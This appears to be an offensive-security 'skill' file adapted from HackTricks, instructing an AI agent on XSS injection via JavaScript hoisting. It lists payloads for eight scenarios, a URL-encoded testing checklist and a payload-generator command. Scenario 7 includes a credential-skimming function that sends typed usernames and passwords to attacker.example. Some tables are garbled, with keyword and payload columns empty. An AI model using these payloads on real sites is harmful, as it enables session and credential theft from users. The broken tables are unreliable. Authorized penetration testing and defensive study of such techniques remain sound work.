Hacktricks-skills javascript-hoisting-xss
JavaScript hoisting-based XSS attack techniques. Use this skill whenever the user is testing for XSS vulnerabilities, JavaScript injection, RXSS (Reflected XSS), or any scenario where they need to exploit JavaScript hoisting to bypass errors, inject code before declarations, or manipulate execution order. Trigger on mentions of hoisting, ReferenceError bypass, TypeError bypass, JS injection, or when analyzing JavaScript code for injection points.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/js-hoisting/SKILL.MDJavaScript Hoisting XSS Attacks
This skill covers exploiting JavaScript hoisting mechanisms to execute arbitrary code in XSS scenarios, particularly when injection points occur after undeclared identifiers are used.
Understanding Hoisting in XSS Contexts
JavaScript hoisting moves declarations to the top of their scope before execution. In XSS scenarios, you can inject declarations that "fix" syntax errors, allowing your payload to execute.
Key Principle
If you can inject JavaScript after an undeclared object/function is used, you can:
- Declare the missing identifier in your injection
- Fix the syntax error that would otherwise stop execution
- Execute your malicious code before the error occurs
Hoisting Types
| Type | Behavior | Keywords |
|---|---|---|
| Value Hoisting | Use variable value before declaration | Function declarations |
| Declaration Hoisting | Reference variable before declaration (value = ) | |
| Lexical Hoisting | Declaration side effects occur before evaluation | , , |
| Import Hoisting | Both type 1 and 4 behaviors | statements |
Attack Scenarios
Scenario 1: Fixing Undefined Function Calls
When a function is called but not defined, inject the function declaration:
// Vulnerable code vulnerableFunction('test', '<INJECTION>'); // Payload 1: Define function and execute code '-alert(1)-''); function vulnerableFunction(a,b){return 1}; // Payload 2: Alternative syntax test'); function vulnerableFunction(a,b){ return 1 };alert(1)
Scenario 2: Fixing Undefined Variables
When a variable is used but not declared:
// Vulnerable code function myFunction(a,b){ return 1 }; myFunction(a, '<INJECTION>'); // Payload: Declare the missing variable test'); var a = 1; alert(1);
Scenario 3: Class Declaration Workaround
Classes cannot be declared after use, but functions can:
// Vulnerable code var variable = new unexploitableClass(); <INJECTION> // Payload: Declare as function instead function unexploitableClass() { return 1; } alert(1);
Scenario 4: Undeclared Object Method Access
// Vulnerable code x.y(1,INJECTION) // Payload: Declare x as function, execute before y is resolved alert(1));function x(){}// // Result: x.y(1,alert(1));function x(){}// // alert() executes before TypeError on y
Scenario 5: Nested Undeclared Methods
// Vulnerable code x.y.z(1,INJECTION) // Payload: Import x from external module ");import {x} from "https://example.com/module.js"// // External module (module.js): var x = { y: { z: function(param) { eval(param); } } }; export { x };
Scenario 6: Bypassing Try-Catch Exception Handling
When sinks are wrapped in try-catch, ReferenceError stops execution. Hoist the identifier to survive:
// Vulnerable code (wrapped in try-catch) x.y(1,INJECT) // Payload: Hoist x so parser doesn't throw prompt()) ; function x(){} // // Execution flow: // 1. function x(){} is hoisted // 2. prompt() executes // 3. TypeError on y thrown AFTER payload runs
Scenario 7: Preempting Later Declarations (RXSS)
Lock a name with
const before legitimate code declares it:
// Malicious code (runs first in inline <script>) const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value) const user = Trim(FormInput.InputUtente.value) fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)) } // Later legitimate code (cannot override const) function DoLogin(){ /* ... */ } // FAILS - const already bound
Important: If injecting via
eval(), const/let are block-scoped. Inject a new <script> element for true global bindings.
Scenario 8: Dynamic Import with User-Controlled Specifiers
Server-side rendered apps may forward input into
import(). With loaders like import-in-the-middle, hoisted imports execute before subsequent lines:
// If you control the import specifier import('${userInput}'); // Attacker module executes before rest of code // See CVE-2023-38704 for RCE in SSR contexts
Payload Generation
Use the bundled script to generate hoisting payloads:
python scripts/generate_hoisting_payloads.py --scenario <type> --payload <code>
See
scripts/generate_hoisting_payloads.py for available scenarios and options.
Detection and Testing
Manual Testing Checklist
- Identify injection points in JavaScript context
- Check for undefined identifiers used before the injection point
- Test function hoisting:
')%3bfunction+name(){return+1}%3balert(1) - Test variable hoisting:
')%3bvar+name+%3d+1%3balert(1) - Test try-catch bypass:
alert(1));function+x(){}// - Test const preemption:
const+name+=+()=%3E{alert(1)}//
Automated Tools
- KNOXSS v3.6.5+: Includes "JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting" and "Hoisting Override" test cases
- Run against RXSS contexts that throw
/ReferenceErrorTypeError
Common Patterns
| Pattern | Payload Template |
|---|---|
| Function hoist | |
| Variable hoist | |
| Try-catch bypass | |
| Const preemption | |
| Import hoist | |
Limitations
- Properties are not hoisted:
cannot be fixed if injection is after the codetest.cookie("leo", "INJECTION") - Syntax errors must be fixable: The script must parse successfully after injection
- Scope matters: Hoisting only works within the same scope
- Execution order: Your code must execute before the error occurs